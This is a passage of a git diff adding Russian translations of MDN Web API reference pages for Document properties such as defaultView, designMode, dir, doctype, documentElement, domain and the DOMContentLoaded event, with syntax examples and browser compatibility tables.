+<p>Этот пример проверяет, выполняется ли текущий скрипт асинхронно:</p>
+
+<pre class="brush:js">if (document.currentScript.async) {
+  console.log("Executing asynchronously");
+} else {
+  console.log("Executing synchronously");
+}</pre>
+
+<p><a href="/samples/html/currentScript.html">Посмотреть живые примеры</a></p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Важно заметить, что элемент {{HTMLElement("script")}} не будет соответствовать текущему, если он выполняется внутри callback'a или event handler'a; он будет соответствовать элементу только при начальном выполнении скрипта.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(29.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{domxref("element.onafterscriptexecute")}}</li>
+ <li>{{domxref("element.onbeforescriptexecute")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/defaultview/index.html b/files/ru/web/api/document/defaultview/index.html
new file mode 100644
index 0000000000..fb38bdabd4
--- /dev/null
+++ b/files/ru/web/api/document/defaultview/index.html
@@ -0,0 +1,50 @@
+---
+title: Document.defaultView
+slug: Web/API/Document/defaultView
+tags:
+  - API
+  - DOM
+  - Property
+translation_of: Web/API/Document/defaultView
+---
+<div>{{ ApiRef() }}</div>
+
+<p>В браузерах возвращает объект <a href="/en-US/docs/DOM/window" title="DOM/window">window</a>, который связан с document текущей страницы или <code>null</code> если document не доступен.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var win = document.defaultView;</pre>
+
+<p>Это свойство доступно только для чтения.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.defaultView")}}</p>
diff --git a/files/ru/web/api/document/designmode/index.html b/files/ru/web/api/document/designmode/index.html
new file mode 100644
index 0000000000..9eb7f429d6
--- /dev/null
+++ b/files/ru/web/api/document/designmode/index.html
@@ -0,0 +1,65 @@
+---
+title: Document.designMode
+slug: Web/API/Document/designMode
+tags:
+  - API
+  - DOM
+  - Document
+  - HTML
+  - JS
+  - designmode
+  - editor
+translation_of: Web/API/Document/designMode
+---
+<div>{{ ApiRef() }}</div>
+
+<p><code>document.designMode</code> переключает режим редактирования для всего документа. Допустимые значения: "on" и "off". В соответствии со спецификацией, это свойство по умолчанию имеет значение "off". Firefox следует этому стандарту. В более ранних версии Chrome и IE это свойство по умолчанию имеет значение "inherit". Начиная с Chrome 43 значение по умолчанию "off", а значение "inherit" более не поддерживается. В IE6-10 значение должно быть указанно с большой буквы ("On" и "Off") </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><code>var mode = document.designMode;
+document.designMode = "on" </code>|| "off";</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Включить режим редактирования для {{HTMLElement("iframe")}} :</p>
+
+<pre><code>iframeNode</code>.contentDocument.designMode = "on";
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное значение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами" style="font-size: 2.14285714285714rem;">Совместимость с браузерами</h2>
+
+
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.designMode")}}</p>
+
+
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing в Mozilla</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li><a href="https://msdn.microsoft.com/ru-ru/library/ms533720(v=vs.85).aspx">Свойство designMode</a> на MSDN</li>
+</ul>
diff --git a/files/ru/web/api/document/dir/index.html b/files/ru/web/api/document/dir/index.html
new file mode 100644
index 0000000000..adfe8dfa7b
--- /dev/null
+++ b/files/ru/web/api/document/dir/index.html
@@ -0,0 +1,63 @@
+---
+title: Document.dir
+slug: Web/API/Document/dir
+tags:
+  - API
+  - Document
+  - Property
+translation_of: Web/API/Document/dir
+---
+<p>{{ApiRef("")}}</p>
+
+<p>Свойство<strong> </strong><code><strong>Document.dir</strong></code> является строкой {{domxref("DOMString")}} показывает направление текста на странице (слева направо или справа налево).</p>
+
+<p><u>Возможные значения:</u></p>
+
+<ul>
+ <li><code>'ltr'</code> - слева направо</li>
+ <li>
+  <p><code>'rtl'</code> - справа налево</p>
+ </li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js" dir="rtl"><em>dirStr</em> = <em>document.</em>dir;
+<em>document.dir</em> = <em>dirStr;</em></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table" style='color: #333333; font-family: "Open Sans",arial,x-locale-body,sans-serif;'>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#the-dir-attribute:dom-dir", "Document.dir")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.dir")}}</p>
+
+<p> </p>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms533731.aspx" rel="freelink">http://msdn.microsoft.com/en-us/library/ms533731.aspx</a></li>
+</ul>
diff --git a/files/ru/web/api/document/doctype/index.html b/files/ru/web/api/document/doctype/index.html
new file mode 100644
index 0000000000..1715e06fc2
--- /dev/null
+++ b/files/ru/web/api/document/doctype/index.html
@@ -0,0 +1,63 @@
+---
+title: Document.doctype
+slug: Web/API/Document/doctype
+tags:
+  - ДОМ
+  - Документ
+  - Отсылка
+  - Свойство
+  - Справка
+translation_of: Web/API/Document/doctype
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Возвращает Описание Типа Документа (Document Type Declaration, DTD) относительно текущего документа. Возвращаемый объект обеспечивает выполнение {{domxref("DocumentType")}} интерфейса. Используйте {{domxref("DOMImplementation.createDocumentType()")}} для создания <code>DocumentType</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype;
+</pre>
+
+<ul>
+ <li><code>doctype</code> - свойство только для четния.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Свойство возвращает <code>null</code>, если не существует DTD связанного с текущим документом.</p>
+
+<p>DOM уровня 2 не поддерживает редактирование описания типа документа.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document.doctype")}}</p>
diff --git a/files/ru/web/api/document/document/index.html b/files/ru/web/api/document/document/index.html
new file mode 100644
index 0000000000..7dee15e364
--- /dev/null
+++ b/files/ru/web/api/document/document/index.html
@@ -0,0 +1,52 @@
+---
+title: Document()
+slug: Web/API/Document/Document
+tags:
+  - API
+  - ДОМ
+  - Документ
+  - Конструктор
+translation_of: Web/API/Document/Document
+---
+<p>{{APIRef}}{{Non-standard_header}}</p>
+
+<p><strong><code>Document</code></strong> конструктор создает новый {{domxref("Document")}} объект, который является веб-страницей, загруженной в браузере  и служит точкой входа в содержание страницы.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>document</em> = new Document()</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нету.</p>
+
+<p><span style='background-color: #333333; color: #ffffff; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.5rem;'>Спецификация</span></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_Браузерами">Совместимость с Браузерами</h2>
+
+<div> </div>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.Document")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/documentelement/index.html b/files/ru/web/api/document/documentelement/index.html
new file mode 100644
index 0000000000..27344558f8
--- /dev/null
+++ b/files/ru/web/api/document/documentelement/index.html
@@ -0,0 +1,44 @@
+---
+title: Document.documentElement
+slug: Web/API/Document/documentElement
+tags:
+  - 'API,'
+  - DOM
+  - Свойство
+  - Ссылка
+  - Только для чтения
+translation_of: Web/API/Document/documentElement
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p> <code><strong>Document.documentElement</strong></code> - свойство только для чтения, которое возвращает элемент <a href="/en-US/docs/DOM/element"><code>Element</code></a> , который является коренным элементом документа  <a href="/en-US/docs/DOM/document"><code>document</code></a> (например элемент <code>&lt;html&gt;</code> для HTML документов).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>element</em> = document.documentElement;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var rootElement = document.documentElement;
+var firstTier = rootElement.childNodes;
+
+// firstTier -переменная объекта NodeList непосредственных потомков корневого элемента
+for (var i = 0; i &lt; firstTier.length; i++) {
+   // что-то делает с каждым прямым потомком корневого элемента
+   // как и firstTier[i]
+}</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Это свойство удобно только для чтения для получения корневого элемента, связанного с любым документом.</p>
+
+<p>HTML документ обычно содержит один дочерний узел - <code>&lt;html&gt;</code>,  возможно с объявлением  DOCTYPE перед ним. XML документы часто содержат множественные  дочерние узлы: корневой элемент, объявление DOCTYPE, и <a href="/en-US/docs/DOM/ProcessingInstruction"> инструкции по обработке</a>.</p>
+
+<p>Поэтому вам стоит использовать <code>document.documentElement</code> вместо {{Domxref("document.firstChild")}} для доступа к корневому элементу.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-87CD092">DOM Level 2 Core: Document.documentElement</a></li>
+</ul>
diff --git a/files/ru/web/api/document/documenturi/index.html b/files/ru/web/api/document/documenturi/index.html
new file mode 100644
index 0000000000..ca57ddec41
--- /dev/null
+++ b/files/ru/web/api/document/documenturi/index.html
@@ -0,0 +1,113 @@
+---
+title: Document.documentURI
+slug: Web/API/Document/documentURI
+translation_of: Web/API/Document/documentURI
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Свойство <code><strong>documentURI</strong></code> интерфейса {{domxref("Document")}} возвращает строку с текущим адресом документа.</p>
+
+<p>Первоначально определено в DOM3 как атрибут для чтения и записи. В спецификации DOM4 это свойство доступно только для чтения.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><code>var string = document.documentURI;</code>
+</pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>HTML документы содержат свойство {{domxref("document.URL")}} которое возвращает то же значение. Но в отличие от  <code>URL</code>, свойство <code>documentURI</code> доступно для всех типов документов.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>DOM3 behavior</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>DOM4 behavior</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>DOM3 behavior</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>DOM4 behavior</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/document/documenturiobject/index.html b/files/ru/web/api/document/documenturiobject/index.html
new file mode 100644
index 0000000000..533664f3b8
--- /dev/null
+++ b/files/ru/web/api/document/documenturiobject/index.html
@@ -0,0 +1,35 @@
+---
+title: Document.documentURIObject
+slug: Web/API/Document/documentURIObject
+tags:
+  - свойства дом
+translation_of: Web/API/Document/documentURIObject
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.documentURIObject</strong></code> свойство только для чтения возвращает {{ Interface("nsIURI") }} объект представляющий URI <a href="/en-US/docs/">документа</a>.</p>
+
+<p>Это работает только для привилегированных  (UniversalXPConnect) скриптов, включая расширенный код. Для веб содержания это свойство не имеет какого-либо специального значения и может быть использованно так же как и любое другое обычное свойство.</p>
+
+<p>Превилегированный код должен быть осторожным не пытаясь получить или установить это свойство на объект с незапакованным  содержанием (e.g. on a <code>wrappedJSObject</code> of an <code><a href="/en/XPCNativeWrapper" title="en/XPCNativeWrapper">XPCNativeWrapper</a></code>). Смотрите {{ Bug(324464) }}' комментарии для детализации.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var <em>uri</em> = <em>doc</em>.documentURIObject;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">// Проверка является ли этот URI scheme текущей вкладки Firefox - 'http',
+// предполагая что этот код выполняется в контексте  browser.xul
+var uriObj = content.document.documentURIObject;
+var uriPort = uriObj.port;
+
+if (uriObj.schemeIs('http')) {
+  ...
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Не является частью спецификации.</p>
diff --git a/files/ru/web/api/document/domain/index.html b/files/ru/web/api/document/domain/index.html
new file mode 100644
index 0000000000..bd54dc1f83
--- /dev/null
+++ b/files/ru/web/api/document/domain/index.html
@@ -0,0 +1,106 @@
+---
+title: Document.domain
+slug: Web/API/Document/domain
+tags:
+  - API
+  - Document
+  - Domain
+  - HTML DOM
+  - Property
+  - Same Origin
+  - Same Origin Policy
+  - iframe
+translation_of: Web/API/Document/domain
+---
+<div>{{ApiRef}}</div>
+
+<div>Свойство <code>domain</code> у {{domxref("Document")}} интерфейса получает/устанавливает доменную часть источника происхождения (origin) текущего документа, используется в <a href="https://developer.mozilla.org/en-US/docs/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">политике ограничения домена (same origin policy)</a>.</div>
+
+<h2 id="Summary" name="Summary">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>domainString</var> = document.domain;
+document.domain = <var>string</var>;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Доменная часть источника происхождения (origin) текущего документа.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>An attempt has been made to set <code>domain</code> under one of the following conditions:
+ <ul>
+  <li>The document is inside a sandboxed {{htmlelement("iframe")}}</li>
+  <li>The document has no browsing context</li>
+  <li>The document's <a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain">effective domain</a> is <code>null</code></li>
+  <li>The given value is not equal to the document's effective domain (or it is not a registerable domain suffix of it)</li>
+  <li>The {{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} is enabled</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Getting_the_domain">Getting the domain</h3>
+
+<p>For the URI <code>http://developer.mozilla.org/en-US/docs/Web</code>, this example sets <code>currentDomain</code> to the string "<code>developer.mozilla.org</code>".</p>
+
+<pre><code>var currentDomain = document.domain;</code></pre>
+
+<h3 id="Closing_a_window">Closing a window</h3>
+
+<p>If a document, such as <code>www.example.xxx/good.html</code>, has the domain of <code>"www.example.xxx"</code>, this example attempts to close the window.</p>
+
+<pre><code>var badDomain = "www.example.xxx";
+
+if (document.domain == badDomain) {
+  // Just an example: window.close() sometimes has no effect
+  window.close();
+}</code></pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p>Свойство возвращает <code>null</code> если домен документа не может быть идентифицирован, хотя теперь это изменилось с Firefox 62 - смотри обсуждение в {{bug(819475)}}.</p>
+
+<p>Mozilla позволит вам установить его в супердомен текущего значения, ограниченный его  <a href="/en-US/docs/XPCOM_Interface_Reference/nsIEffectiveTLDService#getBaseDomain.28.29">базовым доменом</a>. Например, на developer.mozilla.org возможно установить его как "mozilla.org" но не как  "mozilla.com" или "org".</p>
+
+<p>Если это свойство успешно установленно, портовая часть источника так же уставнавливается на нуль.</p>
+
+<p>Mozilla отличает свойство <code>document.domain</code>, которое никогда не было установлено от явно утановленного такого же домена как в URL документа, хотя свойство возвращает одинаковое значение в обоих случаях. Один документ разрешает доступ к другому, если они оба установили <code>document.domain</code> в одинаковое значение, указывая тем самым на их намерение сотрудничать или ни один из них не установил <code>document.domain</code>, а домены в URL-адресах одинаковые (<a class="link-https" href="https://mxr.mozilla.org/mozilla-central/source/caps/nsPrincipal.cpp?rev=ecb7068b07a1&amp;mark=199-215#199" title="https://mxr.mozilla.org/mozilla-central/source/caps/src/nsScriptSecurityManager.cpp#1003">реализация</a>). Если бы не эта специальная политика, то каждый сайт будет подвержен XSS от своих поддоменов (для примера <a class="link-https" href="https://bugzilla.mozilla.org" rel="freelink">https://bugzilla.mozilla.org</a> может быть атакован с помощью заведения багов (bug attachments) на <a class="link-https" href="https://bug*.bugzilla.mozilla.org" rel="freelink">https://bug*.bugzilla.mozilla.org</a>).</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><strong>Спецификация</strong></th>
+   <th scope="col"><strong>Статус</strong></th>
+   <th scope="col"><strong>Комментарий</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML 5.2','browsers.html#relaxing-the-same-origin-restriction','Document.domain')}}</td>
+   <td>{{Spec2('HTML 5.2')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы желаете внести свой вклад в данные, пожалуйста ознакомтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>  и отправьте нам pull request.</div>
+
+<p>{{Compat("api.Document.domain")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">Политика ограничения домена для JavaScriptHTML</a></li>
+</ul>
diff --git a/files/ru/web/api/document/domcontentloaded_event/index.html b/files/ru/web/api/document/domcontentloaded_event/index.html
new file mode 100644
index 0000000000..4a77474df9
--- /dev/null
+++ b/files/ru/web/api/document/domcontentloaded_event/index.html
@@ -0,0 +1,184 @@
+---
+title: 'Document: DOMContentLoaded event'
+slug: Web/API/Document/DOMContentLoaded_event
+tags:
+  - Событие
+translation_of: Web/API/Document/DOMContentLoaded_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <strong><code>DOMContentLoaded</code></strong>  запускается когда первоначальный HTML документ будет полностью загружен и разобран, без ожидания полной загрузки таблиц стилей, изображений и фреймов.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплытие</th>
+   <td>да</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемый</th>
+   <td>Да (хотя указано как простое событие, которое не может быть отменено)</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика событий</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Разные события,<code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, должны быть использованы только для обнаружения полностью загруженной страницы. Это распространённая ошибка в использовании <code>load</code>, там где <code>DOMContentLoaded</code> было бы более уместным.</p>
+
+<p>Синхронный JavaScript останавливает разбор DOM. Если вы хотите что бы DOM был разобран как можно быстрее после того как пользователь запросит страницу, вы должны сделать ваш <a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">JavaScript асинхронным </a>and <a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">оптимизировать загрузку таблиц стилей</a>. Если загружать как обычно, таблицы стилей  тормозят разбор DOM так как они загружаются параллельно, "крадя" трафик у основного HTML документа.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Основное_применение">Основное применение</h3>
+
+<pre class="brush: js">document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    console.log('DOM полностью загружен и разобран');
+});
+</pre>
+
+<h3 id="Отложенный_DOMContentLoaded">Отложенный DOMContentLoaded</h3>
+
+<pre class="brush: html">&lt;script&gt;
+  document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    console.log('DOM полностью загружен и разобран');
+  });
+
+for( let i = 0; i &lt; 1000000000; i++)
+{} // Этот синхронный скрипт откладывает разбор DOM,
+   // так что событие DOMContentLoaded будет запущено позже.
+&lt;/script&gt;
+</pre>
+
+<h3 id="Проверка_того_завершена_ли_загрузка">Проверка того, завершена ли загрузка</h3>
+
+<p><code>DOMContentLoaded</code> может сработать до того, как ваш скрипт будет запущен, поэтому разумно это проверить, перед добавлением слушателя.</p>
+
+<pre class="brush: js">function doSomething() {
+  console.info('DOM загружен');
+}
+
+if (document.readyState === 'loading') {  // Загрузка ещё не закончилась
+  document.addEventListener('DOMContentLoaded', doSomething);
+} else {  // `DOMContentLoaded` Уже сработал
+  doSomething();
+}
+</pre>
+
+<h3 id="Живые_примеры">Живые примеры</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="controls"&gt;
+  &lt;button id="reload" type="button"&gt;Reload&lt;/button&gt;
+&lt;/div&gt;
+
+&lt;div class="event-log"&gt;
+  &lt;label&gt;Event log:&lt;/label&gt;
+  &lt;textarea readonly class="event-log-contents" rows="8" cols="30"&gt;&lt;/textarea&gt;
+&lt;/div&gt;</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">body {
+  display: grid;
+  grid-template-areas: "control  log";
+}
+
+.controls {
+  grid-area: control;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+.event-log {
+  grid-area: log;
+}
+
+.event-log-contents {
+  resize: none;
+}
+
+label, button {
+  display: block;
+}
+
+#reload {
+  height: 2rem;
+}
+
+</pre>
+</div>
+
+<h4 id="JS">JS</h4>
+
+<pre class="brush: js">const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () =&gt; {
+  log.textContent ='';
+  window.setTimeout(() =&gt; {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) =&gt; {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) =&gt; {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
